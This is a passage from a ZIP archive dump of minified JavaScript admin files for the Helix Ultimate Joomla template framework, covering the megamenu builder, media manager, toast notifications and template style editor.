adge-position",(function(a){e("#hu-megamenu-layout").data("badge_position",e(this).val())})),e(document).on("change","#hu-menu-badge-bg-color",(function(a){e("#hu-megamenu-layout").data("badge_bg_color",e(this).val())})),e(document).on("change","#hu-menu-badge-text-color",(function(a){e("#hu-megamenu-layout").data("badge_text_color",e(this).val())})),document.adminForm.onsubmit=function(a){var t=[];e("#hu-megamenu-layout").find(".hu-megamenu-row").each((function(a){var n=e(this),u=a;t[u]={type:"row",attr:[]},n.find(".hu-megmenu-col").each((function(a){var n=e(this),o=a,i=n.attr("data-grid");t[u].attr[o]={type:"column",colGrid:i,menuParentId:"",moduleId:"",items:[]};var m="";n.find("h4").each((function(a,t){m+=e(this).data("current_child")+","})),m&&(m=m.slice(",",-1),t[u].attr[o].menuParentId=m);var l="";n.find(".hu-megamenu-item").each((function(a,n){l+=e(this).data("mod_id")+",";var i=e(this).data("type"),m=e(this).data("mod_id");t[u].attr[o].items[a]={type:i,item_id:m}})),l&&(l=l.slice(",",-1),t[u].attr[o].moduleId=l)}))}));var n=e("#hu-megamenu-layout").data(),u={width:n.width||"0",menuitem:n.menuitem,menualign:n.menualign,megamenu:n.megamenu,showtitle:n.showtitle,faicon:n.faicon,customclass:n.customclass,dropdown:n.dropdown,badge:n.badge,badge_position:n.badge_position,badge_bg_color:n.badge_bg_color,badge_text_color:n.badge_text_color,layout:t};e("#jform_params_helixultimatemenulayout").val(JSON.stringify(u))},e(document).on("click","#hu-choose-megamenu-layout",(function(a){a.preventDefault(),e("#hu-megamenu-layout-modal").toggle()})),e(document).on("click",".hu-megamenu-grids",(function(t){t.preventDefault();var n=e(this).attr("data-layout"),u='<div class="hu-megamenu-row">';u+='<div class="hu-megamenu-row-actions clearfix">',u+='<div class="hu-action-move-row">',u+='<span class="fas fa-sort" aria-hidden="true"></span> Row',u+="</div>",u+='<a href="#" class="hu-action-detele-row"><span class="far fa-trash-alt" aria-hidden="true"></span></a>',u+="</div>",u+='<div class="hu-row">';var o='<div class="hu-megmenu-col hu-col-sm-{col}" data-grid="{grid}">';o+='<div class="hu-megamenu-column">',o+='<div class="hu-megamenu-column-actions">',o+='<span class="hu-action-move-column"><span class="fas fa-arrows-alt" aria-hidden="true"></span> Column</span>',o+="</div>",o+='<div class="hu-megamenu-item-list"></div>',o+="</div>",o+="</div>";var m="";if(12!=n){var l=n.split("+");for(i=0;i<l.length;i++)m+=o.replace("{col}",l[i]).replace("{grid}",l[i])}else m+=o.replace("{col}",12).replace("{grid}",12);u+=m,u+="</div>",u+="</div>",e("#hu-megamenu-layout").append(u),e(this).closest("#hu-megamenu-layout-modal").hide(),a()})),a(),e(document).on("click",".hu-action-detele-row",(function(a){a.preventDefault(),e(this).closest(".hu-megamenu-row").remove()}))}));PK!�d~�NN&helixultimate/assets/js/admin/media.jsnu&1i�/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */
jQuery((function(e){e(".hu-media-picker").on("click",(function(a){a.preventDefault();var t=this,i="id",o="";void 0!==e(this).data("id")?(i="id",o=e(this).data("id")):void 0!==e(this).data("target")&&(i="data",o=e(this).data("target")),e(this).helixUltimateModal({target_type:i,target:o});e.ajax({type:"POST",data:{action:"view-media",option:"com_ajax",helix:"ultimate",request:"task",format:"json"},beforeSend:function(){e(t).find(".fa").removeClass("fa-picture-o").addClass("fa-spinner fa-spin")},success:function(a){var i=e.parseJSON(a);e(t).find(".fa").removeClass("fa-spinner fa-spin").addClass("fa-picture-o"),i.status?(e(".hu-modal-breadcrumbs").html(i.breadcrumbs),e(".hu-modal-inner").html(i.output)):(e(".hu-modal-overlay, .hu-modal").remove(),e("body").addClass("hu-modal-open"),alert(i.output))},error:function(){alert("Somethings wrong, Try again")}})})),e(document).on("dblclick",".hu-media-folder",(function(a){a.preventDefault();var t={action:"view-media",option:"com_ajax",helix:"ultimate",request:"task",path:e(this).data("path"),format:"json"};e.ajax({type:"POST",data:t,beforeSend:function(){e(".hu-media-selected").removeClass("hu-media-selected"),e(".hu-modal-actions-left").hide(),e(".hu-modal-actions-right").show(),e(".hu-modal-inner").html('<div class="hu-modal-preloader"><span class="fas fa-circle-notch fa-pulse fa-spin fa-3x fa-fw" aria-hidden="true"></span></div>')},success:function(a){var t=e.parseJSON(a);t.status?(e(".hu-modal-breadcrumbs").html(t.breadcrumbs),e(".hu-modal-inner").html(t.output)):alert(t.output)},error:function(){alert("Somethings wrong, Try again")}})})),e(document).on("click",".hu-media-breadcrumb-item > a",(function(a){a.preventDefault();var t={action:"view-media",option:"com_ajax",helix:"ultimate",request:"task",path:e(this).data("path"),format:"json"};e.ajax({type:"POST",data:t,beforeSend:function(){e(".hu-modal-inner").html('<div class="hu-modal-preloader"><span class="fas fa-circle-notch fa-pulse fa-spin fa-3x fa-fw" aria-hidden="true"></span></div>')},success:function(a){var t=e.parseJSON(a);t.status?(e(".hu-modal-breadcrumbs").html(t.breadcrumbs),e(".hu-modal-inner").html(t.output)):alert(t.output)},error:function(){alert("Somethings wrong, Try again")}})})),e(document).on("click",".hu-media-folder, .hu-media-image",(function(a){a.preventDefault(),e(".hu-media-selected").removeClass("hu-media-selected"),e(this).addClass("hu-media-selected"),e(this).hasClass("hu-media-folder")?e(".hu-modal-action-select").hide():e(".hu-modal-action-select").removeAttr("style"),e(".hu-modal-actions-left").show(),e(".hu-modal-actions-right").hide()})),e(document).on("click",".hu-modal-action-select",(function(a){a.preventDefault();var t=e(".hu-media-selected").data("path"),i=e(".hu-media-selected").data("preview"),o=e(".hu-modal").attr("data-target");if("data"==e(".hu-modal").attr("data-target_type")){e(".hu-options-modal").find('[data-attrname="'+o+'"]').val(t).trigger("change");const a=document.querySelector(`.hu-options-modal [data-attrname=${o}]`);Joomla.utils.triggerEvent(a,"change"),e(".hu-options-modal").find('[data-attrname="'+o+'"]').prev(".hu-image-holder").html('<img src="'+i+'" alt="">');let d=e(".hu-options-modal").find('[data-attrname="'+o+'"]').siblings(".hu-media-clear");d.hasClass("hide")&&d.removeClass("hide")}else{e("#"+o).val(t).trigger("change"),Joomla.utils.triggerEvent(document.querySelector(`#${o}`),"change"),e("#"+o).prev(".hu-image-holder").html('<img src="'+i+'" alt="">');let a=e("#"+o).siblings(".hu-media-clear");a.hasClass("hide")&&a.removeClass("hide")}e(".hu-modal-overlay, .hu-modal").remove(),e("body").removeClass("hu-modal-open")})),e(document).on("click",".hu-modal-action-cancel",(function(a){a.preventDefault(),e(".hu-media-selected").removeClass("hu-media-selected"),e(".hu-modal-actions-left").hide(),e(".hu-modal-actions-right").show()})),e(document).on("click",".action-hu-modal-close",(function(a){a.preventDefault(),e(".hu-modal-overlay, .hu-modal").remove(),e("body").removeClass("hu-modal-open")})),e(document).on("click",".hu-media-clear",(function(a){a.preventDefault(),e(this).parent().find("input").val("").trigger("change"),Joomla.utils.triggerEvent(a.target.parentNode.querySelector("input"),"change"),e(this).parent().find(".hu-image-holder").empty(),e(this).hasClass("hide")||e(this).addClass("hide")})),e(document).on("click",".hu-modal-action-delete",(function(a){a.preventDefault();var t="file";if(e(".hu-media-selected").length){if(t=e(".hu-media-selected").hasClass("hu-media-folder")?"folder":"file",confirm("Are you sure you want to delete this "+t+"?")){var i={action:"delete-media",option:"com_ajax",helix:"ultimate",request:"task",type:t,path:e(".hu-media-selected").data("path"),format:"json"};e.ajax({type:"POST",data:i,success:function(a){var t=e.parseJSON(a);t.status?(e(".hu-media-selected").remove(),e(".hu-modal-actions-left").hide(),e(".hu-modal-actions-right").show()):alert(t.message)},error:function(){alert("Somethings wrong, Try again")}})}}else alert("Please select a file or directory first to delete.")})),e(document).on("click",".hu-modal-action-new-folder",(function(a){a.preventDefault();var t=prompt("Please enter the name of the directory which should be created.");if(null==t||""==t);else{var i={action:"create-folder",option:"com_ajax",helix:"ultimate",request:"task",folder_name:t,path:e(".hu-media-breadcrumb-item.active").data("path"),format:"json"};e.ajax({type:"POST",data:i,success:function(a){var t=e.parseJSON(a);t.status?e(".hu-modal-inner").html(t.output):alert(t.message)},error:function(){alert("Somethings wrong, Try again")}})}})),e.fn.uploadMedia=function(a){a=e.extend({data:"",index:""},a);e.ajax({type:"POST",url:"index.php?option=com_ajax&helix=ultimate&request=task&action=upload-media&format=json&helix_id="+helixUltimateStyleId,data:a.data,contentType:!1,cache:!1,processData:!1,beforeSend:function(){var t='<li class="hu-media-progress '+a.index+'">';t+='<div class="hu-media-thumb">',t+='<div class="hu-progress"><div class="hu-progress-bar"></div></div>',t+="</div>",t+='<div class="hu-media-label"><span class="fas fa-circle-notch fa-spin" aria-hidden="true"></span> <span class="hu-media-upload-percentage"></span>Uploading...</div>',t+="</li>",e("#hu-media-manager").animate({scrollTop:e("#hu-media-manager").prop("scrollHeight")},1e3),e(".hu-media").append(t)},success:function(t){var i=e.parseJSON(t);i.status?e("."+a.index).removeClass().addClass("hu-media-image").attr("data-path",i.path).attr("data-preview",i.src).html(i.output):(e("."+a.index).remove(),alert(i.message))},xhr:function(){return myXhr=e.ajaxSettings.xhr(),myXhr.upload?myXhr.upload.addEventListener("progress",(function(t){e("."+a.index).find(".hu-progress-bar").css("width",Math.floor(t.loaded/t.total*100)+"%"),e("."+a.index).find(".hu-media-upload-percentage").text(Math.floor(t.loaded/t.total*100)+"% ")}),!1):alert("Uploadress is not supported."),myXhr}})},e(document).on("click",".hu-modal-action-upload",(function(a){a.preventDefault(),e("#hu-file-input").click()})),e(document).on("change","#hu-file-input",(function(a){a.preventDefault();var t=e(this),o=e(this).prop("files");for(i=0;i<o.length;i++){var d=o[i].name.split(".").pop();if("png"==d||"jpg"==d||"jpeg"==d||"gif"==d||"svg"==d||"ico"==d){var n=new FormData;n.append("file",o[i]),n.append("path",e(".hu-media-breadcrumb-item.active").data("path")),n.append("index","media-id-"+Math.floor(1e6*Math.random()+1)),e(this).uploadMedia({data:n,index:"media-id-"+Math.floor(1e6*Math.random()+1)})}}t.val("")}))}));PK!IV�.uu(helixultimate/assets/js/admin/toaster.jsnu&1i�const HelixToaster={options:{timeout:5e3,containerId:"hu-toaster-container",prefix:"hu-toaster",position:"hu-toaster-bottom-right",titleClass:"",messageClass:"",target:"body"},toasts:[],toastIndex:0,elementTimeout:null,success(t,e,s){this.createToaster({type:"success",message:t,title:e,options:s})},error(t,e,s){this.createToaster({type:"error",message:t,title:e,options:s})},info(t,e,s){this.createToaster({type:"info",message:t,title:e,options:s})},warning(t,e,s){this.createToaster({type:"warning",message:t,title:e,options:s})},getTypeClass:t=>`hu-toast-${t}`,createContainer(){const t=document.createElement("div");return t.setAttribute("id",this.options.containerId),t.setAttribute("class",this.options.position),document.querySelector(this.options.target).appendChild(t),t},createToaster({type:t,message:e,title:s,options:i}){const o=document.createElement("div");o.setAttribute("class",this.options.prefix+" "+this.getTypeClass(t));let a=`\n\t\t\t<div class="hu-toaster-info-icon"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" fill="currentColor" class="bi bi-info-circle" viewBox="0 0 20 20"><path d="M8 15A7 7 0 1 1 8 1a7 7 0 0 1 0 14zm0 1A8 8 0 1 0 8 0a8 8 0 0 0 0 16z"/><path d="M8.93 6.588l-2.29.287-.082.38.45.083c.294.07.352.176.288.469l-.738 3.468c-.194.897.105 1.319.808 1.319.545 0 1.178-.252 1.465-.598l.088-.416c-.2.176-.492.246-.686.246-.275 0-.375-.193-.304-.533L8.93 6.588zM9 4.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0z"/></svg></div>\n\t\t\t<div class="hu-toaster-wrap">\n\t\t\t\t<div class="${`${this.options.prefix}-title ${this.options.titleClass}`}">${s}</div>\n\t\t\t\t<div class="${`${this.options.prefix}-message ${this.options.messageClass}`}">${e}</div>\n\t\t\t</div>\n\t\t\t<div class="hu-toaster-close"><svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-x" viewBox="0 0 16 16"><path d="M4.646 4.646a.5.5 0 0 1 .708 0L8 7.293l2.646-2.647a.5.5 0 0 1 .708.708L8.707 8l2.647 2.646a.5.5 0 0 1-.708.708L8 8.707l-2.646 2.647a.5.5 0 0 1-.708-.708L7.293 8 4.646 5.354a.5.5 0 0 1 0-.708z"/></svg></div>\n\n\t\t`;o.innerHTML=a,o.style.animationName="huFadeInUp",o.style.animationDuration=".35s",this.toasts.push(o),this.toastIndex++,this.getContainer().appendChild(o),this.elementTimeout=setTimeout((()=>{o.style.animationName="huFadeInDown",o.style.animationDuration=".35s",o.style.opacity=0,setTimeout((()=>{o.parentNode.removeChild(o)}),450)}),this.options.timeout),o.addEventListener("click",(t=>{t.preventDefault(),this.elementTimeout&&clearTimeout(this.elementTimeout),o.style.animationName="huFadeInDown",o.style.animationDuration=".35s",o.style.opacity=0,setTimeout((()=>{o.parentNode.removeChild(o)}),450)}))},getContainer(){let t=document.querySelector(`#${this.options.containerId}`);return t||(t=this.createContainer()),t},displayToaster(){const t=this.getContainer();t.innerHTML="",this.toasts.forEach((e=>{t.appendChild(e)}))},delay:(t=1e3)=>new Promise((e=>setTimeout(e,t))),removeToaster(t){return new Promise((e=>{this.toasts.splice(t,1);const s=document.querySelector(`#${this.options.containerId}`);s.firstChild&&s.removeChild(s.firstChild),e({status:!0})}))}};Joomla.HelixToaster=HelixToaster;PK!�J���J�J/helixultimate/assets/js/admin/helix-ultimate.jsnu&1i�/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */
jQuery((function(e){"use strict";var t=Joomla.getOptions("data")||{};let i=Joomla.getOptions("meta")||{};const s=localStorage||window.localStorage;let a=null;Joomla.initColorPicker=function(t,i={}){const s={animationSpeed:50,animationEasing:"swing",control:"hue",position:"bottom",theme:"bootstrap",keywords:"transparent, initial, inherit",letterCase:"uppercase"};e(t).each((function(){e(this).minicolors({...s,...i})}))},e(".form-select[multiple]").chosen({width:"100%"});const o=()=>{let t=s.getItem("toolbarPosition")||{};t="string"==typeof t&&t.length>0&&JSON.parse(t);let i=e(".hu-container"),a=e("#hu-options-panel"),o=i.width(),n=a.width();t.left+n>o?t.left=o-n-20:t.left<0&&(t.left=20),t&&e(".hu-options-core").css({left:t.left+"px",top:t.top+"px"}),e(".hu-options-core").show()};o(),window.addEventListener("resize",o);window.MutationObserver||window.WebKitMutationObserver||window.MozMutationObserver;let n=document.getElementById("hu-template-preview");function l(){const e=n.contentWindow.location.href;e.length&&"about:blank"!==e&&(n.src=n.getAttribute("src"))}function r(){e("#layout").val(JSON.stringify(m())),f(),e(".hu-input-preset").val(JSON.stringify(e(".hu-preset.active").data()));let t=e("#hu-style-form").find("input, select, textarea").not(".internal-use-only").serializeArray(),i=!1;e.ajax({type:"POST",url:"index.php?option=com_ajax&request=task&helix=ultimate&id="+helixUltimateStyleId+"&action=draft-tmpl-style&format=json&helix_id="+helixUltimateStyleId,data:t,beforeSend:function(){Joomla.helixLoading(!0,!1),i=!0},success:function(t){var s=e.parseJSON(t);if(s.status){let e=document.getElementById("hu-template-preview");l(),e.addEventListener("load",(function(){i&&Joomla.helixLoading(!1,s.isDrafted),i=!1}))}},error:function(e){console.error("error: Something went wrong!",e),Joomla.HelixToaster.error("Error:"+e.message,"Error")}})}function c(t){const i=e(".hu-topbar-save-spinner");t?i.hasClass("hidden")&&(i.removeClass("hidden"),i.closest(".action-save-template").find("svg").hide()):i.hasClass("hidden")||(i.addClass("hidden"),i.closest(".action-save-template").find("svg").show())}function h(e,t,i,s){s!=i&&(i=s,e.closest(".controls").attr("data-currpoint",i),e.closest(".controls").data("currpoint",i),e.closest(".controls").hasClass("helix-input-touched")||e.closest(".controls").addClass("helix-input-touched"),r()),s==t&&e.closest(".controls").hasClass("helix-input-touched")&&e.closest(".controls").removeClass("helix-input-touched")}function u({name:t,parent:i,map:s,device:a}){["","_sm","_xs"].forEach((s=>{const a=e(`input[name=${t}${s}]`).closest(i);a.hasClass("field-hidden")||a.addClass("field-hidden")}));const o=`input[name=${t}${"md"===s[a]?"":"_"+s[a]}]`;e(o).closest(i).removeClass("field-hidden")}function d(i){const s={desktop:"100%",tablet:`${t.breakpoints.tablet}px`,mobile:`${t.breakpoints.mobile}px`,md:"100%",sm:`${t.breakpoints.tablet}px`,xs:`${t.breakpoints.mobile}px`},a={md:"desktop",sm:"tablet",xs:"mobile",desktop:"desktop",tablet:"tablet",mobile:"mobile"},o={desktop:"md",tablet:"sm",mobile:"xs"},n=e("#hu-template-preview");e(`.hu-device[data-device=${a[i]}]`).parent().find(".active").removeClass("active"),e(`.hu-device[data-device=${a[i]}]`).addClass("active"),["","-sm","-xs"].forEach((t=>{e(`.hu-webfont-size-field${t}`).closest(".hu-webfont-unit").removeClass("active")})),e("input.hu-webfont-size-field"+("md"===o[i]?"":"-"+o[i])).closest(".hu-webfont-unit").addClass("active"),u({name:"header_height",parent:".group-style-header",map:o,device:i}),u({name:"logo_height",parent:".group-style-logo",map:o,device:i}),n.animate({width:s[i]},300,"linear")}function p(){let t=e(".hu-options-core"),i=e(".hu-edit-panel.active-panel"),s=e("#hu-options-panel"),a=e(".hu-container"),o=s.offset(),n=s.width(),l=i.width(),r=a.width();o.left+n+10+l>r?(t.hasClass("hu-panel-position-right")&&t.removeClass("hu-panel-position-right"),t.addClass("hu-panel-position-left")):(t.hasClass("hu-panel-position-left")&&t.removeClass("hu-panel-position-left"),t.addClass("hu-panel-position-right"))}function f(){e(".hu-field-webfont").each((function(){var t=e(this),i={fontFamily:t.find(".hu-webfont-list").val(),fontSize:t.find("[name=hu-webfont-size-field]").val(),fontSize_sm:t.find("[name=hu-webfont-size-field-sm]").val(),fontSize_xs:t.find("[name=hu-webfont-size-field-xs]").val(),fontWeight:t.find(".hu-webfont-weight-list").val(),fontStyle:t.find(".hu-webfont-style-list").val(),fontSubset:t.find(".hu-webfont-subset-list").val(),fontColor:t.find(".hu-font-color-input").val(),fontLineHeight:t.find(".hu-font-line-height-input").val(),fontLetterSpacing:t.find("[name=hu-font-letter-spacing-input]").val(),textDecoration:t.find(".hu-text-decoration").val(),textAlign:t.find(".hu-text-align").val()};t.find(".hu-webfont-input").val(JSON.stringify(i))}))}function m(){var t=[];return e("#hu-layout-builder").find(".hu-layout-section").each((function(i){var s=e(this),a=i,o=s.data();delete o.sortableItem;var n=s.find(".hu-column-layout.active").data("layout"),l=12;12!=n&&(l=n.split(",").join("")),t[a]={type:"row",layout:l,settings:o,attr:[]},s.find(".hu-layout-column").each((function(i){var s=i,o=e(this).data();delete o.sortableItem,t[a].attr[s]={type:"sp_col",settings:o}}))})),t}Joomla.reloadPreview=l,n.addEventListener("load",(function(){let e=n.contentWindow.document,i=e.querySelector(".body-innerwrapper");e.querySelectorAll("a").forEach((e=>{let t=e.getAttribute("href")||"";if("#"===t||""===t)return;let i=new URLSearchParams(new URL(e.href).search);if(i.has("helixMode"))return;i.append("helixMode","edit");let s=e.href.split("?");s[1]=i.toString(),e.setAttribute("href",s.join("?"))})),e.body.classList.add("back-panel"),i&&(i.style.marginTop=`${t.topbarHeight}px`)})),e(document).on("keyup",(function(t){if(27===t.which){if(e(".hu-megamenu-popover").hasClass("show"))return void e(".hu-megamenu-popover").removeClass("show");e("body").hasClass("hu-modal-open")&&e(document).closeModal()}})),e(document).off("keyup"),e(".reload-preview-iframe").on("click",(function(t){t.preventDefault();let i=this;l(),e(this).addClass("spin"),n.addEventListener("load",(function(){e(i).removeClass("spin")}))})),e(".hu-topbar").tooltip({classes:{"ui-tooltip":"ui-corner-all"},position:{my:"left top+8px"},hide:!1,show:!1}),e(".action-reset-drafts, .reload-preview-iframe").tooltip({classes:{"ui-tooltip":"ui-corner-all"},position:{my:"left top+10px"},hide:!1,show:!1}),Joomla.helixLoading=function(t,i){const s=e(".hu-loading-msg"),o=e(".hu-done-msg"),n=e(".action-reset-drafts");s.hide(),o.hide(),n.hide(),t?(n.hide(),o.hide(),s.show()):(s.hide(),n.hide(),o.show()),a&&clearTimeout(a),(async()=>{t||await function(e=500){return new Promise((t=>{a=setTimeout(t,e)}))}(2e3),o.hide(),i?n.show():n.hide()})()},e(".hu-menu-builder input[name=megamenu]").on("change",(function(t){t.preventDefault();const i=e(this).closest(".controls"),s=i.data("safepoint"),a=i.data("currpoint"),o=Joomla.utils.helixHash(e(this).val());h(e(this),s,a,o)})),e("form#hu-style-form").find('input[type="text"], input[type="email"], input[type="number"]').on("keydown",(function(e){13!==e.keyCode||e.preventDefault()})),e("form#hu-style-form").find('input[type="text"], input[type="email"], input[type="number"], textarea').on("blur",(function(t){t.preventDefault();let i=e(this).closest(".controls");if(!i.hasClass("field-reset")&&i.hasClass("trackable")){let t=e(this).closest(".controls").data("safepoint"),i=e(this).closest(".controls").data("currpoint"),s=e(this).val();h(e(this),t,i,s)}})),e("form#hu-style-form").find('input[type="checkbox"], input[type=color]').on("change",(function(t){t.preventDefault();let i=e(this).closest(".controls");if(!i.hasClass("field-reset")&&i.hasClass("trackable")){let t=e(this).closest(".controls").data("safepoint"),i=e(this).closest(".controls").data("currpoint"),s=e(this).prop("checked")?1:0;h(e(this),t,i,s)}})),e("form#hu-style-form").find('select, input[type="hidden"]').on("change",(function(t){t.preventDefault();let i=e(this).closest(".controls");if(!i.hasClass("field-reset")&&i.hasClass("trackable")){let t=e(this).closest(".controls").data("safepoint"),i=e(this).closest(".controls").data("currpoint"),s=e(this).val();h(e(this),t,i,s)}})),e(".action-reset-drafts").on("click",(function(t){t.preventDefault();e(this).hasClass("hide")||(!function(){let t=e("form#hu-style-form").find(".controls.helix-input-touched");t.length>0&&t.each(((t,i)=>{e(i).hasClass("field-reset")||e(i).addClass("field-reset")}))}(),window.confirm("Do you really want to reset your settings?")&&(e("#layout").val(JSON.stringify(m())),f(),e(".hu-input-preset").val(JSON.stringify(e(".hu-preset.active").data())),e.ajax({type:"GET",url:"index.php?option=com_ajax&request=task&helix=ultimate&id="+helixUltimateStyleId+"&action=reset-drafted-settings&format=json&helix_id="+helixUltimateStyleId,success:function(t){if(e.parseJSON(t).status){document.getElementById("hu-template-preview");l()}},error:function(e){console.error("error",e)},complete:function(){!function(){let t=e("form#hu-style-form").find(".controls.helix-input-touched.field-reset");t.length>0&&t.each((function(t,s){let a=e(s);if(a.length>0){let t=a.data("safepoint"),s=a.data("selector"),o=a.find(s);if(o.length>0){let i=void 0!==o.attr("type")&&o.attr("type").toLowerCase();if(i&&"checkbox"===i){let e=1==t;o.prop("checked",e)}"megamenu"===o.attr("name")&&e(".hu-megamenu-action-tracker").val("restore").trigger("change"),"megamenu"!==o.attr("name")&&(o.val(t),o.attr("value",t),o.change()),a.attr("data-currpoint",t),a.data("currpoint",t),"select"===o.prop("tagName").toLowerCase()&&a.find(s+"_chzn").length>0&&(o.trigger("liszt:updated"),o.trigger("chosen:updated"))}let n=a.find(".hu-image-holder img");n.length>0&&n.attr("src",`${i.base}/${t}`),a.find(".hu-header-item").each((function(){e(this).hasClass("active")&&e(this).removeClass("active"),e(this).data("style")===t&&e(this).addClass("active")})),a.removeClass("helix-input-touched"),a.removeClass("field-reset")}}))}(),Joomla.HelixToaster.success("Successfully rolled back to the previous state!","Success"),e(".hu-loading-msg").hide(),e(".hu-done-msg").hide(),e(".action-reset-drafts").hide()}})))})),e(".action-save-template").on("click",Joomla.utils.debounce((function(t){t.preventDefault();c(!0),a&&clearTimeout(a),e("#layout").val(JSON.stringify(m())),f(),e(".hu-input-preset").val(JSON.stringify(e(".hu-preset.active").data()));e(this).data("id"),e(this).data("view");const i=e("#hu-style-form").find("input, select, textarea").not(".internal-use-only").serializeArray();e.ajax({type:"POST",url:"index.php?option=com_ajax&request=task&helix=ultimate&id="+helixUltimateStyleId+"&action=save-tmpl-style&format=json&helix_id="+helixUltimateStyleId,data:i,success:function(t){if(e.parseJSON(t).status){document.getElementById("hu-template-preview").contentWindow.location.reload(!0)}!function(){let t=e("form#hu-style-form").find(".controls.helix-input-touched");t.length>0&&t.each((function(t,i){let s=e(i);if(s.length>0){let e=s.data("selector"),t=s.find(e);t.length>0&&t.attr("value",t.val()),s.attr("data-setvalue",t.val()),s.data("setvalue",t.val()),s.removeClass("helix-input-touched")}}))}()},complete(){Joomla.HelixToaster.success("Changes have been successfully saved!","Success"),e(".hu-loading-msg").hide(),e(".hu-done-msg").hide(),e(".action-reset-drafts").hide(),c(!1)},error:function(e){console.error("error",e),Joomla.HelixToaster.error("Error: "+e.message,"Error"),c(!1)}})}),500)),e(".hu-device").on("click",(function(t){t.preventDefault();const i=e(this).data("device");e(this).parent().find(".active").removeClass("active"),e(this).addClass("active"),d(i)})),u({name:"logo_height",parent:".group-style-logo",map:{desktop:"md",tablet:"sm",mobile:"xs"},device:"desktop"}),e("#hu-style-form").find('input[type="checkbox"]:not(.hu-menu-item-selector)').each((function(){e(this).closest(".control-group").addClass("control-group-checkbox")})),e(".hu-options-core").draggable({iframeFix:!0,cursor:"grabbing",handle:".hu-panel-handle",containment:"#helix-ultimate",drag:function(e,t){s.setItem("toolbarPosition",JSON.stringify(t.position)),p()}}),e(".hu-fieldset-header").on("click",(function(t){t.preventDefault();let i=e(this).data("fieldset");if(e("."+i+"-panel").hasClass("active-panel"))return e("."+i+"-panel").removeClass("active-panel"),void e(this).removeClass("active");e("."+i+"-panel").parent().find(".active-panel").removeClass("active-panel"),e("."+i+"-panel").addClass("active-panel"),e(this).parents("#hu-options").find(".hu-fieldset .hu-fieldset-header").hasClass("active")&&e(this).parents("#hu-options").find(".hu-fieldset .hu-fieldset-header").removeClass("active"),e(this).addClass("active"),p(),Joomla.utils.calculateSiblingDistances()})),e(".hu-panel-close").on("click",(function(t){t.preventDefault(),e(this).closest(".hu-edit-panel").hasClass("active-panel")&&e(this).closest(".hu-edit-panel").removeClass("active-panel");let i=e(`.${e(this).data("sidebarclass")} .hu-fieldset-header`);i.hasClass("active")&&i.removeClass("active")})),e(".hu-fieldset-toggle-icon").on("click",(function(t){t.preventDefault(),e(".hu-fieldset").removeClass("active"),e("#hu, #hu-options").removeClass()})),e(".hu-group-header-box").on("click",(function(t){t.preventDefault();let i=e(this).closest(".hu-edit-panel").find(".hu-group-wrap").find(".hu-field-list.active-group");if(i.length>0){i.data("uid")!==e(this).next().data("uid")&&(i.removeClass("active-group"),i.parent().removeClass("active"),i.slideUp(400))}let s=e(this).next();s.hasClass("active-group")?(e(this).parent().removeClass("active"),s.removeClass("active-group"),s.slideUp(400)):(s.addClass("active-group"),e(this).parent().addClass("active"),s.slideDown(400))})),e(".hu-header-item").on("click",(function(t){t.preventDefault();var i=e(this).closest(".hu-header-list");i.find(".hu-header-item").removeClass("active"),e(this).addClass("active");var s=e(this).data("style"),a=i.data("name");e("#"+a).val(s).trigger("change")})),e(".hu-offcanvas-item").on("click",(function(t){t.preventDefault();var i=e(this).closest(".hu-offcanvas-list");i.find(".hu-offcanvas-item").removeClass("active"),e(this).addClass("active");var s=e(this).data("style"),a=i.data("name");e("#"+a).val(s).trigger("change")})),e(document).ready((function(){"checked"==e("#custom_style").attr("checked")?e(".hu-fieldset-presets").find(".hu-group-wrap").show():e(".hu-fieldset-presets").find(".hu-group-wrap").hide()})),e(document).on("change","#custom_style",(function(t){t.preventDefault(),"checked"==e(this).attr("checked")?e(".hu-fieldset-presets").find(".hu-group-wrap").slideDown():e(".hu-fieldset-presets").find(".hu-group-wrap").slideUp()})),e(document).on("click",".hu-preset",(function(t){t.preventDefault(),e(".hu-preset").removeClass("active"),e(this).addClass("active"),r()})),e(".helix-responsive-devices span").click((function(){if(e(this).hasClass("active"))return;const t=e(this).parents(".hu-webfont-size");t.find("input").removeClass("active");const i=e(this).data("active_class");t.find(i).addClass("active"),e(this).parent().find("span.active").removeClass("active"),e(this).addClass("active");d(e(this).data("device"))})),window.purgeCss=function(t=null){e.ajax({type:"POST",url:"index.php?option=com_ajax&request=task&helix=ultimate&id="+helixUltimateStyleId+"&action=purge-css-file&format=json&helix_id="+helixUltimateStyleId,data:{},beforeSend:function(){t&&t.append('<span class="fas fa-circle-notch fa-spin" aria-hidden="true"></span>')},success:function(i){var s=e.parseJSON(i);t&&s.status&&(t.find("span").remove(),t.removeClass("disable"))},error:function(){alert("Somethings wrong, Try again")}})},e(".btn-purge-hu-css").on("click",(function(t){t.preventDefault();var i=e(this);i.hasClass("disable")||(i.addClass("disable"),window.purgeCss(i))})),e("#btn-hu-import-settings").on("click",(function(t){t.preventDefault(),e("#helix-import-file").click()})),e("#helix-import-file").on("change",(function(t){const i=new FileReader;i.onload=function(t){JSON.parse(t.target.result);var i={action:"import-tmpl-style",option:"com_ajax",helix:"ultimate",request:"task",data:{settings:t.target.result},format:"json"};return e.ajax({type:"POST",data:i,success:function(t){e.parseJSON(t).status&&window.location.reload()},complete(){Joomla.HelixToaster.success("Settings have been successfully imported!","Success")},error:function(){Joomla.HelixToaster.error("Something went wrong importing settings!","Error")}}),!1},i.readAsText(t.target.files[0])})),e(".hu-help-icon").on("click",(function(t){t.preventDefault();let i=e(this).closest(".control-group").find(".hu-control-help");e(this).toggleClass("active"),i.hasClass("show")?(i.removeClass("show"),i.slideUp(100)):(i.addClass("show"),i.slideDown(100)),e(this).closest(".control-group").siblings().each((function(){let t=e(this).find(".hu-control-help");t.hasClass("show")&&(t.removeClass("show"),t.slideUp(100))}))})),e(document).on("click",".hu-option-group-title",(function(t){t.preventDefault(),e(this).closest(".hu-option-group").toggleClass("active").siblings().removeClass("active")}));let v={};function g(){e(".hu-group-wrap").each((function(){if(e(this).attr("data-dependon")){let 